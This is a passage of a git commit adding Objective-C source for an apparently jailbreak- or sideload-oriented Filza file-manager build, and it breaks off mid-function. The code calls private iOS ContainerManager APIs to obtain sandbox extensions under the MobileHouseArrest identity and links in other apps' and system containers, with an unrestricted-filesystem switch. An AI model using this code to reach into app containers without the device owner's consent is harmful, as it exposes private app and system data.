commit 91a6adf72331158336fe7f15bdf60651fe10d709 Author: admin Date: Wed Nov 11 03:40:37 2026 +0800 Filza 27.2 worse_query: public and developer builds diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5ec7ee2 --- /dev/null +++ b/.gitignore @@ -0,0 +1,15 @@ +.theos/ +.DS_Store +Build/ +packages/ +MCMIdentifiers.plist +*.deb +*.ipa +*.ips +*.log + +# bundled test payload +!tests/test.deb + +# release staging +build/ diff --git a/FilzaApplySandboxExt.plist b/FilzaApplySandboxExt.plist new file mode 100644 index 0000000..62d6fc2 --- /dev/null +++ b/FilzaApplySandboxExt.plist @@ -0,0 +1 @@ +{ Filter = { Bundles = ( "com.tigisoftware.Filza", "com.apple.mobile.MobileHouseArrest" ); }; } diff --git a/MCMBridge.h b/MCMBridge.h new file mode 100644 index 0000000..8d14733 --- /dev/null +++ b/MCMBridge.h @@ -0,0 +1,35 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface MCMLease : NSObject +@property(nonatomic, readonly) uint64_t containerClass; +@property(nonatomic, copy, readonly) NSString *identifier; +@property(nonatomic, copy, readonly) NSString *rootPath; +@property(nonatomic, readonly) BOOL groupIdentifier; +@property(nonatomic, readonly) BOOL tokenPresent; +@property(nonatomic, readonly) BOOL activated; + ++ (nullable instancetype)leaseForClass:(uint64_t)containerClass + identifier:(NSString *)identifier + group:(BOOL)group + part:(uint64_t)part + flags:(uint64_t)flags + error:(NSString * _Nullable * _Nullable)error; ++ (nullable instancetype)leaseForClass:(uint64_t)containerClass + identifier:(NSString *)identifier + group:(BOOL)group + part:(uint64_t)part + partDomain:(nullable NSString *)partDomain + flags:(uint64_t)flags + error:(NSString * _Nullable * _Nullable)error; +- (BOOL)activate:(NSString * _Nullable * _Nullable)error; +- (void)invalidate; +@end + +FOUNDATION_EXPORT BOOL MCMBridgeAvailable(void); +FOUNDATION_EXPORT NSArray *MCMEnumerateIdentifiersForClass( + uint64_t containerClass, NSUInteger limit, + NSString * _Nullable * _Nullable error); + +NS_ASSUME_NONNULL_END diff --git a/MCMBridge.m b/MCMBridge.m new file mode 100644 index 0000000..e3ae1ed --- /dev/null +++ b/MCMBridge.m @@ -0,0 +1,254 @@ +#import "MCMBridge.h" + +#import +#import +#import + +typedef void *(*MCMQueryCreate)(void); +typedef void (*MCMQuerySetU64)(void *, uint64_t); +typedef void (*MCMQuerySetXPC)(void *, xpc_object_t); +typedef void (*MCMQuerySetCString)(void *, const char *); +typedef void *(*MCMQueryGetPointer)(void *); +typedef bool (*MCMQueryIterate)(void *, bool (^)(void *)); +typedef void (*MCMQueryFree)(void *); +typedef const char *(*MCMObjectGetPath)(void *); +typedef const char *(*MCMObjectGetIdentifier)(void *); +typedef void *(*MCMObjectCopy)(void *); +typedef char *(*MCMObjectCopyToken)(void *); +typedef bool (*MCMObjectActivate)(void *, bool); +typedef void (*MCMObjectFree)(void *); +typedef int (*MCMErrorGetInt)(void *); +typedef const char *(*MCMErrorGetString)(void *); + +typedef struct { + void *handle; + MCMQueryCreate queryCreate; + MCMQuerySetU64 querySetClass; + MCMQuerySetXPC querySetIdentifiers; + MCMQuerySetXPC querySetGroupIdentifiers; + MCMQuerySetU64 querySetFlags; + MCMQuerySetU64 querySetPart; + MCMQuerySetCString querySetPartDomain; + MCMQueryGetPointer queryGetSingle; + MCMQueryGetPointer queryGetLastError; + MCMQueryIterate queryIterate; + MCMQueryFree queryFree; + MCMObjectGetPath objectGetPath; + MCMObjectGetIdentifier objectGetIdentifier; + MCMObjectCopy objectCopy; + MCMObjectCopyToken objectCopyToken; + MCMObjectActivate objectActivate; + MCMObjectFree objectFree; + MCMErrorGetInt errorGetPOSIX; + MCMErrorGetString errorGetMessage; +} MCMAPI; + +static MCMAPI *MCMSharedAPI(void) +{ + static MCMAPI api; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + api.handle = dlopen("/usr/lib/system/libsystem_containermanager.dylib", + RTLD_NOW | RTLD_LOCAL); + void *handle = api.handle != NULL ? api.handle : RTLD_DEFAULT; +#define LOAD(field, symbol) api.field = (__typeof(api.field))dlsym(handle, symbol) + LOAD(queryCreate, "container_query_create"); + LOAD(querySetClass, "container_query_set_class"); + LOAD(querySetIdentifiers, "container_query_set_identifiers"); + LOAD(querySetGroupIdentifiers, "container_query_set_group_identifiers"); + LOAD(querySetFlags, "container_query_operation_set_flags"); + LOAD(querySetPart, "container_query_operation_set_part"); + LOAD(querySetPartDomain, "container_query_operation_set_part_domain"); + LOAD(queryGetSingle, "container_query_get_single_result"); + LOAD(queryGetLastError, "container_query_get_last_error"); + LOAD(queryIterate, "container_query_iterate_results_sync"); + LOAD(queryFree, "container_query_free"); + LOAD(objectGetPath, "container_object_get_path"); + LOAD(objectGetIdentifier, "container_object_get_identifier"); + LOAD(objectCopy, "container_object_copy"); + LOAD(objectCopyToken, "container_copy_sandbox_token"); + LOAD(objectActivate, "container_object_sandbox_extension_activate"); + LOAD(objectFree, "container_object_free"); + LOAD(errorGetPOSIX, "container_error_get_posix_errno"); + LOAD(errorGetMessage, "container_error_get_message"); +#undef LOAD + }); + return &api; +} + +NSArray *MCMEnumerateIdentifiersForClass( + uint64_t containerClass, NSUInteger limit, NSString **error) +{ + MCMAPI *api = MCMSharedAPI(); + if (!MCMBridgeAvailable() || !api->queryIterate || !api->objectGetIdentifier || limit == 0) { + if (error) *error = @"ContainerManager enumeration API unavailable"; + return @[]; + } + void *query = api->queryCreate(); + if (!query) { + if (error) *error = @"container_query_create returned NULL"; + return @[]; + } + api->querySetClass(query, containerClass); + // Metadata-only, no-create lookup. Extensions are requested individually + // only after an identifier passes validation. + api->querySetFlags(query, 0x100000000ULL); + // iOS 18 does not export the part API. A new query already defaults to + // part 0, so only set it when the newer API is present. + if (api->querySetPart) api->querySetPart(query, 0); + NSMutableOrderedSet *identifiers = [NSMutableOrderedSet orderedSet]; + BOOL iterated = api->queryIterate(query, ^bool(void *object) { + const char *raw = object ? api->objectGetIdentifier(object) : NULL; + NSString *identifier = raw ? [NSString stringWithUTF8String:raw] : nil; + if (identifier.length) [identifiers addObject:identifier]; + return identifiers.count < limit; + }); + if (!iterated && identifiers.count < limit) { + void *queryError = api->queryGetLastError(query); + int posix = queryError && api->errorGetPOSIX ? api->errorGetPOSIX(queryError) : 0; + const char *message = queryError && api->errorGetMessage + ? api->errorGetMessage(queryError) : NULL; + if (error) *error = [NSString stringWithFormat:@"enumeration denied posix=%d message=%s", + posix, message ?: "unknown"]; + } + api->queryFree(query); + return identifiers.array; +} + +BOOL MCMBridgeAvailable(void) +{ + MCMAPI *api = MCMSharedAPI(); + return api->queryCreate != NULL && api->querySetClass != NULL && + api->querySetIdentifiers != NULL && api->querySetGroupIdentifiers != NULL && + api->querySetFlags != NULL && + api->queryGetSingle != NULL && api->queryGetLastError != NULL && + api->queryFree != NULL && api->objectGetPath != NULL && + api->objectCopy != NULL && api->objectCopyToken != NULL && + api->objectActivate != NULL && api->objectFree != NULL; +} + +@interface MCMLease () { + void *_query; + void *_activation; +} +@property(nonatomic, readwrite) uint64_t containerClass; +@property(nonatomic, copy, readwrite) NSString *identifier; +@property(nonatomic, copy, readwrite) NSString *rootPath; +@property(nonatomic, readwrite) BOOL groupIdentifier; +@property(nonatomic, readwrite) BOOL tokenPresent; +@property(nonatomic, readwrite) BOOL activated; +@end + +@implementation MCMLease + ++ (instancetype)leaseForClass:(uint64_t)containerClass + identifier:(NSString *)identifier + group:(BOOL)group + part:(uint64_t)part + flags:(uint64_t)flags + error:(NSString **)error +{ + return [self leaseForClass:containerClass identifier:identifier group:group + part:part partDomain:nil flags:flags error:error]; +} + ++ (instancetype)leaseForClass:(uint64_t)containerClass + identifier:(NSString *)identifier + group:(BOOL)group + part:(uint64_t)part + partDomain:(NSString *)partDomain + flags:(uint64_t)flags + error:(NSString **)error +{ + if (!MCMBridgeAvailable() || identifier.length == 0) { + if (error) *error = @"ContainerManager bridge unavailable or identifier empty"; + return nil; + } + MCMAPI *api = MCMSharedAPI(); + void *query = api->queryCreate(); + if (query == NULL) { + if (error) *error = @"container_query_create returned NULL"; + return nil; + } + api->querySetClass(query, containerClass); + xpc_object_t value = xpc_string_create(identifier.UTF8String); + if (group) api->querySetGroupIdentifiers(query, value); + else api->querySetIdentifiers(query, value); +#if !OS_OBJECT_USE_OBJC + xpc_release(value); +#endif + api->querySetFlags(query, flags); + if (part != 0 && !api->querySetPart) { + if (error) *error = @"part API unavailable on this OS"; + api->queryFree(query); + return nil; + } + if (api->querySetPart) api->querySetPart(query, part); + if (partDomain.length != 0) { + if (!api->querySetPartDomain) { + if (error) *error = @"part-domain API unavailable"; + api->queryFree(query); + return nil; + } + api->querySetPartDomain(query, partDomain.fileSystemRepresentation); + } + void *object = api->queryGetSingle(query); + if (object == NULL) { + void *queryError = api->queryGetLastError(query); + int posix = queryError && api->errorGetPOSIX ? api->errorGetPOSIX(queryError) : 0; + const char *message = queryError && api->errorGetMessage + ? api->errorGetMessage(queryError) : NULL; + if (error) *error = [NSString stringWithFormat:@"lookup denied posix=%d message=%s", + posix, message ?: "unknown"]; + api->queryFree(query); + return nil; + } + const char *rawPath = api->objectGetPath(object); + NSString *root = rawPath ? [NSString stringWithUTF8String:rawPath] : nil; + if (root.length == 0 || !root.isAbsolutePath) { + if (error) *error = @"MCM returned no absolute container path"; + api->queryFree(query); + return nil; + } + if ([root isEqualToString:@"/var"] || [root hasPrefix:@"/var/"]) + root = [@"/private" stringByAppendingString:root]; + MCMLease *lease = [MCMLease new]; + lease->_query = query; + lease.containerClass = containerClass; + lease.identifier = identifier; + lease.groupIdentifier = group; + lease.rootPath = root; + return lease; +} + +- (BOOL)activate:(NSString **)error +{ + if (self.activated) return YES; + if (!_query) { + if (error) *error = @"lease invalidated"; + return NO; + } + MCMAPI *api = MCMSharedAPI(); + void *object = api->queryGetSingle(_query); + _activation = object ? api->objectCopy(object) : NULL; + char *token = _activation ? api->objectCopyToken(_activation) : NULL; + self.tokenPresent = token && token[0] != '\0'; + free(token); + self.activated = self.tokenPresent && api->objectActivate(_activation, false); + if (!self.activated && error) + *error = self.tokenPresent ? @"sandbox extension activation failed" + : @"MCM object contained no sandbox token"; + return self.activated; +} + +- (void)invalidate +{ + MCMAPI *api = MCMSharedAPI(); + if (_activation) { api->objectFree(_activation); _activation = NULL; } + if (_query) { api->queryFree(_query); _query = NULL; } + self.activated = NO; +} + +- (void)dealloc { [self invalidate]; } + +@end diff --git a/MCMFilzaIntegration.h b/MCMFilzaIntegration.h new file mode 100644 index 0000000..6a5c48f --- /dev/null +++ b/MCMFilzaIntegration.h @@ -0,0 +1,16 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +FOUNDATION_EXPORT void MCMFilzaStart(void); +FOUNDATION_EXPORT NSString *_Nullable MCMFilzaDataContainerPath( + NSString *identifier, NSString * _Nullable * _Nullable error); +FOUNDATION_EXPORT NSString *MCMFilzaVirtualRoot(void); +FOUNDATION_EXPORT NSString *MCMFilzaArchivePath(void); +FOUNDATION_EXPORT void MCMFilzaRecordDeletedGeneratedPath(NSString *path); +FOUNDATION_EXPORT NSString *MCMFilzaWallpaperLabName(void); +FOUNDATION_EXPORT BOOL MCMFilzaIsRunningInLiveContainer(void); +FOUNDATION_EXPORT BOOL MCMFilzaPathHasActiveLease(NSString *path); +FOUNDATION_EXPORT void MCMFilzaSetUnrestrictedFilesystem(BOOL enabled); + +NS_ASSUME_NONNULL_END diff --git a/MCMFilzaIntegration.m b/MCMFilzaIntegration.m new file mode 100644 index 0000000..388e748 --- /dev/null +++ b/MCMFilzaIntegration.m @@ -0,0 +1,1733 @@ +#import "MCMFilzaIntegration.h" + +#import "MCMBridge.h" +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import + +static const uint64_t kMCMFlags = 0x900000000ULL; +static const uint64_t kMCMReadWritePartFlags = 0x8100000000ULL; +static NSString *const kRequiredIdentifier = @"com.apple.mobile.MobileHouseArrest"; +static NSString *const kMCMAppDataDirectoryName = @"[MHA-C2] App Data"; +static NSString *const kMCMAppGroupsDirectoryName = @"[MHA-C7] App Groups"; +static NSString *const kMCMExtensionDataDirectoryName = @"[MHA-C4] Extension Data"; +static NSString *const kMCMVPNDataDirectoryName = @"[MHA-C6] VPN Data"; +static NSString *const kMCMServiceDataDirectoryName = @"[MHA-C10] Service Data"; +static NSString *const kMCMSystemDataDirectoryName = @"[MHA-C12] System Data"; +static NSString *const kMCMSystemGroupsDirectoryName = @"[MHA-C13] System Groups"; +static NSString *const kMCMProtectedDataDirectoryName = @"[MHA-C15] Protected Data"; +static NSString *const kMCMAdditionalLocationsDirectoryName = + @"[MHA-C13 Scoped] Additional Locations"; +static NSString *const kMCMExperimentalDirectoryName = + @"[MHA-Mixed EXP] Experimental"; +static NSString *const kMCMWallpaperLabDirectoryName = @"[MHA-C2] Wallpaper Lab"; +static NSString *const kMCMDeletedGeneratedPathsKey = + @"FilzaSlopDeletedGeneratedPaths"; +static NSMutableDictionary *gLeases; +static BOOL gUnrestrictedFilesystem; + +typedef CFTypeRef SecTaskRef; +extern SecTaskRef SecTaskCreateFromSelf(CFAllocatorRef allocator); +extern CFStringRef SecTaskCopySigningIdentifier(SecTaskRef task, CFErrorRef *error); + +static NSString *MCMSignedCodeIdentifier(void) +{ + static NSString *identifier; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + SecTaskRef task = SecTaskCreateFromSelf(kCFAllocatorDefault); + if (!task) return; + CFErrorRef error = NULL; + CFStringRef value = SecTaskCopySigningIdentifier(task, &error); + if (value) identifier = [(__bridge NSString *)value copy]; + if (value) CFRelease(value); + if (error) CFRelease(error); + CFRelease(task); + }); + return identifier; +} + +BOOL MCMFilzaIsRunningInLiveContainer(void) +{ + const char *home = getenv("LC_HOME_PATH"); + return home && home[0] == '/'; +} + +static NSString *MCMAbsoluteEnvironmentPath(const char *name) +{ + const char *value = getenv(name); + if (!value || value[0] != '/') return nil; + NSString *path = [NSString stringWithUTF8String:value]; + return path.length ? path.stringByStandardizingPath : nil; +} + +static NSString *MCMLiveContainerAppGroupPath(void) +{ + SEL selector = NSSelectorFromString(@"lcAppGroupPath"); + Class defaults = NSUserDefaults.class; + if (![defaults respondsToSelector:selector]) return nil; + id value = ((id (*)(id, SEL))objc_msgSend)(defaults, selector); + return [value isKindOfClass:NSString.class] && [value isAbsolutePath] + ? [value stringByStandardizingPath] : nil; +} + +static NSArray *MCMLiveContainerAuthorityRoots(void) +{ + if (!MCMFilzaIsRunningInLiveContainer()) return @[]; + NSMutableOrderedSet *roots = [NSMutableOrderedSet orderedSet]; + for (NSString *path in @[ + MCMAbsoluteEnvironmentPath("LC_HOME_PATH") ?: @"", + MCMAbsoluteEnvironmentPath("HOME") ?: @"", + MCMLiveContainerAppGroupPath() ?: @"", + ]) { + if (path.length) [roots addObject:path]; + } + return roots.array; +} + +void MCMFilzaSetUnrestrictedFilesystem(BOOL enabled) +{ + gUnrestrictedFilesystem = enabled; +} + +static void MCMEnsureState(void) +{ + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ gLeases = [NSMutableDictionary dictionary]; }); +} + +@interface NSObject (MCMFilzaLaunchServices) ++ (id)defaultWorkspace; +- (NSArray *)allApplications; +- (NSString *)applicationIdentifier; +- (NSString *)bundleIdentifier; +@end + +NSString *MCMFilzaVirtualRoot(void) +{ + if (MCMFilzaIsRunningInLiveContainer()) { + NSString *home = MCMAbsoluteEnvironmentPath("HOME"); + if (home.length) + return [[home stringByAppendingPathComponent:@"Documents"] + stringByAppendingPathComponent:@"Device Storage"]; + } + NSString *documents = NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject; + return [documents stringByAppendingPathComponent:@"Device Storage"]; +} + +NSString *MCMFilzaArchivePath(void) +{ + return [[MCMFilzaVirtualRoot() stringByDeletingLastPathComponent] + stringByAppendingPathComponent:@"FilzaSlop Archive"]; +} + +static NSString *MCMGeneratedPathKey(NSString *path) +{ + if (!path.length || !path.isAbsolutePath) return nil; + NSString *root = MCMFilzaVirtualRoot().stringByStandardizingPath; + NSString *candidate = path.stringByStandardizingPath; + NSString *prefix = [root stringByAppendingString:@"/"]; + if (![candidate hasPrefix:prefix]) return nil; + return [candidate substringFromIndex:prefix.length]; +} + +static NSSet *MCMDeletedGeneratedPaths(void) +{ + NSArray *values = [NSUserDefaults.standardUserDefaults + arrayForKey:kMCMDeletedGeneratedPathsKey]; + return [NSSet setWithArray:[values isKindOfClass:NSArray.class] ? values : @[]]; +} + +static BOOL MCMGeneratedPathWasDeleted(NSString *path) +{ + NSString *key = MCMGeneratedPathKey(path); + return key.length > 0 && [MCMDeletedGeneratedPaths() containsObject:key]; +} + +void MCMFilzaRecordDeletedGeneratedPath(NSString *path) +{ + NSString *key = MCMGeneratedPathKey(path); + if (!key.length) return; + NSUserDefaults *defaults = NSUserDefaults.standardUserDefaults; + @synchronized (defaults) { + NSMutableOrderedSet *values = [NSMutableOrderedSet + orderedSetWithArray:[defaults arrayForKey:kMCMDeletedGeneratedPathsKey] + ?: @[]]; + if ([values containsObject:key]) return; + [values addObject:key]; + [defaults setObject:values.array forKey:kMCMDeletedGeneratedPathsKey]; + [defaults synchronize]; + } + NSLog(@"[GeneratedFiles] recorded deletion %@", key); +} + +static BOOL MCMWriteGeneratedString(NSString *text, NSString *path) +{ + if (MCMGeneratedPathWasDeleted(path)) { + NSLog(@"[GeneratedFiles] kept deleted path absent %@", path); + return NO; + } + return [text writeToFile:path atomically:YES + encoding:NSUTF8StringEncoding error:nil]; +} + +static BOOL MCMWriteGeneratedPropertyList(id value, NSString *path) +{ + if (MCMGeneratedPathWasDeleted(path)) { + NSLog(@"[GeneratedFiles] kept deleted path absent %@", path); + return NO; + } + return [value writeToFile:path atomically:YES]; +} + +static void MCMRunGeneratedDeletionProbe(NSFileManager *manager, NSString *root) +{ + const char *phaseValue = getenv("FILZA_GENERATED_DELETE_PROBE"); + if (!phaseValue || !phaseValue[0]) return; + NSString *phase = [NSString stringWithUTF8String:phaseValue]; + if (![phase isEqualToString:@"record"] && + ![phase isEqualToString:@"verify"]) return; + + NSString *path = [root + stringByAppendingPathComponent:@".filzaslop-generated-delete-probe.txt"]; + BOOL setup = YES; + if ([phase isEqualToString:@"record"]) { + [manager removeItemAtPath:path error:nil]; + setup = [@"probe" writeToFile:path atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + MCMFilzaRecordDeletedGeneratedPath(path); + setup = [manager removeItemAtPath:path error:nil] && setup; + } + + BOOL writeResult = MCMWriteGeneratedString(@"must stay deleted", path); + BOOL exists = [manager fileExistsAtPath:path]; + BOOL recorded = [MCMDeletedGeneratedPaths() + containsObject:MCMGeneratedPathKey(path)]; + BOOL passed = setup && !writeResult && !exists && recorded; + fprintf(stderr, + "[GeneratedDeleteProbe] phase=%s setup=%d write=%d exists=%d recorded=%d pass=%d\n", + phase.UTF8String, setup, writeResult, exists, recorded, passed); + fflush(stderr); +} + +NSString *MCMFilzaWallpaperLabName(void) +{ + return kMCMWallpaperLabDirectoryName; +} + +static NSString *MCMKey(uint64_t containerClass, NSString *identifier) +{ + return [NSString stringWithFormat:@"%llu:%@", containerClass, identifier]; +} + +static NSString *MCMScopedKey(uint64_t containerClass, NSString *identifier, + uint64_t part, NSString *partDomain, uint64_t flags) +{ + return [NSString stringWithFormat:@"%llu:%@:%llu:%@:%llx", containerClass, + identifier, part, partDomain ?: @"", flags]; +} + +static BOOL MCMSafeIdentifier(NSString *identifier) +{ + if (identifier.length == 0 || identifier.length > 255) return NO; + NSCharacterSet *allowed = [NSCharacterSet characterSetWithCharactersInString: + @"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-_"]; + return [identifier rangeOfCharacterFromSet:allowed.invertedSet].location == NSNotFound && + ![identifier isEqualToString:@"."] && ![identifier isEqualToString:@".."]; +} + +static NSString *MCMActivate(uint64_t containerClass, NSString *identifier, + BOOL group, NSString **error) +{ + MCMEnsureState(); + if (![MCMSignedCodeIdentifier() isEqualToString:kRequiredIdentifier]) { + if (error) *error = @"signed code identifier is not the required MCM caller identity"; + return nil; + } + if (!MCMSafeIdentifier(identifier)) { + if (error) *error = @"identifier contains unsupported path characters"; + return nil; + } + @synchronized (gLeases) { + MCMLease *existing = gLeases[MCMKey(containerClass, identifier)]; + if (existing.rootPath.length) + return existing.rootPath; + NSString *detail = nil; + MCMLease *lease = [MCMLease leaseForClass:containerClass identifier:identifier + group:group part:0 flags:kMCMFlags error:&detail]; + BOOL activated = lease && [lease activate:&detail]; + if (!lease) { + if (error) *error = detail ?: @"MCM activation failed"; + return nil; + } + // iOS 26 containermanagerd lacks genericExtensionsAllowedForAll, so it + // refuses sandbox tokens for callers not in the per-class allowed set. + // The path is still valid — try opening it before giving up. + int descriptor = open(lease.rootPath.fileSystemRepresentation, + O_RDONLY | O_DIRECTORY | O_CLOEXEC | O_NOFOLLOW); + if (descriptor < 0) { + if (!activated && !gUnrestrictedFilesystem) { + if (error) *error = detail ?: @"MCM activation failed"; + [lease invalidate]; + return nil; + } + if (error) *error = [NSString stringWithFormat:@"container root open failed errno=%d", errno]; + [lease invalidate]; + return nil; + } + close(descriptor); + gLeases[MCMKey(containerClass, identifier)] = lease; + return lease.rootPath; + } +} + +static NSString *MCMActivateScoped(uint64_t containerClass, NSString *identifier, + BOOL group, uint64_t part, + NSString *partDomain, uint64_t flags, + NSString **error) +{ + MCMEnsureState(); + if (![MCMSignedCodeIdentifier() isEqualToString:kRequiredIdentifier]) { + if (error) *error = @"signed code identifier is not the required MCM caller identity"; + return nil; + } + if (!MCMSafeIdentifier(identifier)) { + if (error) *error = @"identifier contains unsupported path characters"; + return nil; + } + NSString *key = MCMScopedKey(containerClass, identifier, part, partDomain, flags); + @synchronized (gLeases) { + MCMLease *existing = gLeases[key]; + if (existing.rootPath.length) return existing.rootPath; + NSString *detail = nil; + MCMLease *lease = [MCMLease leaseForClass:containerClass + identifier:identifier group:group part:part partDomain:partDomain + flags:flags error:&detail]; + BOOL activated = lease && [lease activate:&detail]; + if (!lease) { + if (error) *error = detail ?: @"scoped MCM activation failed"; + return nil; + } + int descriptor = open(lease.rootPath.fileSystemRepresentation, + O_RDONLY | O_DIRECTORY | O_CLOEXEC); + if (descriptor < 0) { + if (!activated) { + if (error) *error = detail ?: @"scoped MCM activation failed"; + [lease invalidate]; + return nil; + } + if (error) *error = [NSString stringWithFormat: + @"scoped directory open failed errno=%d", errno]; + [lease invalidate]; + return nil; + } + close(descriptor); + gLeases[key] = lease; + return lease.rootPath; + } +} + +NSString *MCMFilzaDataContainerPath(NSString *identifier, NSString **error) +{ + return MCMActivate(2, identifier, NO, error); +} + +static BOOL MCMPathIsInsideRoot(NSString *path, NSString *root) +{ + NSString *(^normalized)(NSString *) = ^NSString *(NSString *value) { + NSString *result = value.stringByStandardizingPath; + if ([result isEqualToString:@"/var"] || [result hasPrefix:@"/var/"]) + result = [@"/private" stringByAppendingString:result]; + return result; + }; + NSString *candidate = normalized(path); + NSString *base = normalized(root); + return [candidate isEqualToString:base] || + [candidate hasPrefix:[base stringByAppendingString:@"/"]]; +} + +BOOL MCMFilzaPathHasActiveLease(NSString *path) +{ + if (path.length == 0 || !path.isAbsolutePath) return NO; + if (gUnrestrictedFilesystem) return YES; + NSString *virtualRoot = MCMFilzaVirtualRoot(); + NSString *experimentalRoot = [virtualRoot + stringByAppendingPathComponent:kMCMExperimentalDirectoryName]; + NSString *filesTraversalRoot = [virtualRoot + stringByAppendingPathComponent:@"Files Traversal"]; + // The experimental consumer mounts are browse-first. Keep the custom + // local paste path from turning a traversal check into a target mutation. + if (MCMPathIsInsideRoot(path, experimentalRoot) || + MCMPathIsInsideRoot(path, filesTraversalRoot)) return NO; + if (MCMPathIsInsideRoot(path, virtualRoot) || + MCMPathIsInsideRoot(path, MCMFilzaArchivePath())) return YES; + if (MCMFilzaIsRunningInLiveContainer()) { + for (NSString *root in MCMLiveContainerAuthorityRoots()) + if (MCMPathIsInsideRoot(path, root)) return YES; + return NO; + } + MCMEnsureState(); + @synchronized (gLeases) { + for (MCMLease *lease in gLeases.allValues) + if (lease.activated && MCMPathIsInsideRoot(path, lease.rootPath)) return YES; + } + return NO; +} + +static void MCMInstallLiveContainerLink(NSFileManager *manager, NSString *root, + NSString *name, NSString *target) +{ + if (!target.length || !target.isAbsolutePath) return; + BOOL isDirectory = NO; + if (![manager fileExistsAtPath:target isDirectory:&isDirectory] || !isDirectory) + return; + + NSString *link = [root stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) { + NSLog(@"[LiveContainer] keeping non-link path %@", link); + return; + } + if (unlink(link.fileSystemRepresentation) != 0) { + NSLog(@"[LiveContainer] could not refresh link %@ errno=%d", link, errno); + return; + } + } + if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[LiveContainer] link failed %@ -> %@ errno=%d", link, target, errno); + else + NSLog(@"[LiveContainer] linked %@ -> %@", link, target); +} + +static void MCMInstallArchiveAlias(NSFileManager *manager, NSString *root) +{ + NSString *archive = MCMFilzaArchivePath(); + NSError *error = nil; + if (![manager createDirectoryAtPath:archive withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} + error:&error]) { + NSLog(@"[Archive] directory creation failed path=%@ error=%@", archive, error); + return; + } + + NSString *link = [root stringByAppendingPathComponent:@"Archive"]; + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) { + NSLog(@"[Archive] keeping non-link path %@", link); + return; + } + if (unlink(link.fileSystemRepresentation) != 0) { + NSLog(@"[Archive] stale alias removal failed path=%@ errno=%d", link, errno); + return; + } + } + if (symlink(archive.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[Archive] alias failed %@ -> %@ errno=%d", link, archive, errno); + else + NSLog(@"[Archive] alias ready %@ -> %@", link, archive); +} + +static void MCMInstallLiveContainerRoot(void) +{ + NSFileManager *manager = NSFileManager.defaultManager; + NSString *root = MCMFilzaVirtualRoot(); + [manager createDirectoryAtPath:root withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} error:nil]; + MCMInstallArchiveAlias(manager, root); + + NSString *hostHome = MCMAbsoluteEnvironmentPath("LC_HOME_PATH"); + NSString *hostDocuments = [hostHome stringByAppendingPathComponent:@"Documents"]; + NSString *sharedRoot = [MCMLiveContainerAppGroupPath() + stringByAppendingPathComponent:@"LiveContainer"]; + + NSArray *> *links = @[ + @[@"[LiveContainer] Local Apps", + [hostDocuments stringByAppendingPathComponent:@"Applications"] ?: @""], + @[@"[LiveContainer] Local App Data", + [hostDocuments stringByAppendingPathComponent:@"Data/Application"] ?: @""], + @[@"[LiveContainer] Local App Groups", + [hostDocuments stringByAppendingPathComponent:@"Data/AppGroup"] ?: @""], + @[@"[LiveContainer] Shared Apps", + [sharedRoot stringByAppendingPathComponent:@"Applications"] ?: @""], + @[@"[LiveContainer] Shared App Data", + [sharedRoot stringByAppendingPathComponent:@"Data/Application"] ?: @""], + @[@"[LiveContainer] Shared App Groups", + [sharedRoot stringByAppendingPathComponent:@"Data/AppGroup"] ?: @""], + ]; + for (NSArray *entry in links) + MCMInstallLiveContainerLink(manager, root, entry[0], entry[1]); + + NSString *readme = @"LiveContainer compatibility mode\n\n" + @"These links expose apps and data stored by this LiveContainer.\n" + @"Edits affect the live guest containers.\n\n" + @"The process still uses LiveContainer's signed identity. " + "It cannot receive MobileHouseArrest access to system app containers.\n"; + MCMWriteGeneratedString(readme, + [root stringByAppendingPathComponent:@"README.txt"]); +} + +static void MCMInstallLinkWithFailureLogging(NSString *directory, + NSString *identifier, + uint64_t containerClass, + BOOL group, + BOOL logFailure) +{ + NSString *error = nil; + NSString *target = MCMActivate(containerClass, identifier, group, &error); + if (!target) { + if (logFailure) + NSLog(@"[MCMFilza] activation failed class=%llu id=%@ detail=%@", + containerClass, identifier, error); + return; + } + NSString *link = [directory stringByAppendingPathComponent:identifier]; + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) return; + char current[PATH_MAX] = {0}; + ssize_t count = readlink(link.fileSystemRepresentation, current, sizeof(current) - 1); + if (count > 0 && [[NSString stringWithUTF8String:current] isEqualToString:target]) return; + unlink(link.fileSystemRepresentation); + } + if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[MCMFilza] symlink failed id=%@ errno=%d", identifier, errno); +} + +static void MCMInstallLink(NSString *directory, NSString *identifier, + uint64_t containerClass, BOOL group) +{ + MCMInstallLinkWithFailureLogging(directory, identifier, containerClass, + group, YES); +} + +static NSString *MCMDirectIdentifier(NSString *containerPath, NSString *fallback) +{ + NSString *metadataPath = [containerPath stringByAppendingPathComponent: + @".com.apple.mobile_container_manager.metadata.plist"]; + NSDictionary *metadata = [NSDictionary dictionaryWithContentsOfFile:metadataPath]; + NSString *identifier = [metadata[@"MCMMetadataIdentifier"] + isKindOfClass:NSString.class] ? metadata[@"MCMMetadataIdentifier"] : nil; + return MCMSafeIdentifier(identifier) ? identifier : fallback; +} + +static void MCMInstallDirectFilesystemLinks(NSString *directory, + NSString *containerRoot) +{ + if (!gUnrestrictedFilesystem) return; + NSFileManager *manager = NSFileManager.defaultManager; + NSArray *children = [manager contentsOfDirectoryAtPath:containerRoot + error:nil]; + for (NSString *child in children ?: @[]) { + if (!MCMSafeIdentifier(child)) continue; + NSString *target = [containerRoot stringByAppendingPathComponent:child]; + BOOL isDirectory 